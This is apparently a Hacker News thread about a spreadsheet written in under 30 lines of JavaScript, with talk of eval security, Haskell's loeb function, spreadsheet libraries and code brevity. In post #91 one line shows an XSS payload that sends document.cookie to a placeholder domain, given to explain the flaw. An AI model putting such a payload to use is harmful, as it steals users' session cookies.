Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

A spreadsheet in fewer than 30 lines of JavaScript, no library used

jsfiddle.net

Post reply on HN
Print view View original

91–100 of 274 posts

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#91

Post by araskoktas »

genericacct wrote: post #83
nmat wrote: post #79

Earlier quoted context omitted.

You may like, but it is an obvious security flaw. A 'real' product couldn't have this feature, at least not the way it is implemented here.

Please elaborate. ( i ask because i am writing a spreadsheet where every cell can be JSON or a JS expression ) What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?

document.write('<img src="somedomain.com/?'+document.cookie);

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#93

Post by tel »

It's not really comparable, but minimalistic spreadsheet applications always remind me of Dan Piponi's Haskell `loeb` function [0]---a "one-line" "spreadsheet" "implementation".

The blog post is very interesting to read, but here's the meat. We're looking for a function with type

    loeb :: Functor f => f (f a -> a) -> f a
and without thinking about the meaning of it, we can implement it as

    loeb x = fmap (\a -> a (loeb x)) x
which embodies a certain, strange kind of recursion. It turns out that it's "spreadsheet recursion". We build a list of functions from lists of a to a like

    test :: [[Int] -> Int]
    test = [ (!! 1), length, (!! 0) ]   -- think [A1, length(A), A0]
then `loeb test` "completes" the list by applying the "result list" to each of the functions of the source list.

    loeb test == [3, 3, 3]
Laziness lets the recursion proceed despite "evaluating" the list from left to right. Infinite loops still fail

    loeb [(!! 0)] == [............ waiting
It's also interesting to think of how to do "spreadsheet recursion" on exotic data types like trees.

    data Binary a = Branch (Binary a) a (Binary a) | Tip
                  deriving (Show, Functor)

    depth Tip            = 0
    depth (Branch l _ r) = succ (max (depth l) (depth r))

    top default Tip            = default
    top _       (Branch _ a _) = a

    > loeb (Branch Tip depth (Branch Tip (top 0) Tip))
    Branch Tip 2 (Branch Tip 2 Tip)
[0] http://blog.sigfpe.com/2006/11/from-l-theorem-to-spreadsheet...

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#94

Post by thematt »

rattray wrote: post #30

Are there any more full-featured libraries that people use for this? I've found SpreadJS[0], GelSheet[1], jQuery.Sheet[2], and ZK Spreadsheet, but none seem like thriving open-source projects as far as I can tell. [0] http://wijmo.com/demo/spreadjs/samples/index.html [1] http://www.gelsheet.org/demo [2] http://visop-dev.com/Project+jQuery.sheet [3] http://www.zkoss.org/product/zkspreadsheet

I'd really love to see one that supports a hierarchy of JSON data, such as a treegrid.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#95

Post by agumonkey »

richthegeek wrote: post #82
agumonkey wrote: post #47

Earlier quoted context omitted.

with (context) + eval = user-space lexical environment ?

Yep, I'm using something very like this in a Node project I'm working on. However, with(context) has some pretty nasty side effects that I just couldn't sidestep, so I used the "contextify" module. If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!

Thanks for the tip, but I'm far from working with javascript right now[1], I was barely trying to understand the trick. I love the fact that this 'app' is a 6x6 variables grid layout javascript editor in disguise.

[1] I just finished skimming through eloquent js and js allonge, and this still eluded me.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#97

Post by judk »

sheetjs wrote: post #67
dictum wrote: post #62

Earlier quoted context omitted.

And 80% of perceived functionality is what most users — even people who rely on spreadsheets for their work — need. I'm not saying including the other 20% of functionality isn't a good thing to do, but when you're creating a new product or open source project, you can get by (and thrive) building only the 20% of functionality that's used 80% of the time. Why? Because 1% of functionality is still better than 0% (never…

The problem is that the total economic value (as measured by market price) for the users who only use that 80% of perceived functionality is close to 0 (google docs and OO/LO are free) The incredibly difficult 20% is what people pay for. It's what the businesses that shell out billions of dollars a year pay for. And it's what a successful product in the space needs to tackle

Um no. Google docs is free for the same reason IE was free. The economic value is tremendous, such that the creator is willing to spend billions on it.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#98

Post by rcirka »

Although it is impressive that an app like this can be created in such few lines of code, I think it is a bad precedent as a programmer to have a goal to write as least as many lines as possible. It leads to hacks and unmaintainable code. I would rather have a method that has 10 lines of code that can be easily understood, then a method with one line of code that is only understood by the creator. That is not to say that one shouldn't focus as code reduction via re-usability, but one should always write code the can be understood by others.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#99

Post by kbenson »

sheetjs wrote: post #67
dictum wrote: post #62

Earlier quoted context omitted.

And 80% of perceived functionality is what most users — even people who rely on spreadsheets for their work — need. I'm not saying including the other 20% of functionality isn't a good thing to do, but when you're creating a new product or open source project, you can get by (and thrive) building only the 20% of functionality that's used 80% of the time. Why? Because 1% of functionality is still better than 0% (never…

The problem is that the total economic value (as measured by market price) for the users who only use that 80% of perceived functionality is close to 0 (google docs and OO/LO are free) The incredibly difficult 20% is what people pay for. It's what the businesses that shell out billions of dollars a year pay for. And it's what a successful product in the space needs to tackle

On the other hand, you are taking what appears to be a general observation and applying it to this specific instance. Sure, there are plenty of free spreadsheets available. But what about other areas? There's plenty of areas still where a well executed easy to use minimal version of a product can compete in the existing for-pay ecosystem, and as we are discussing, minimal can pay off since 20% of functionality may take 5% or less of the time it would take to do 100%.
Post reply on HN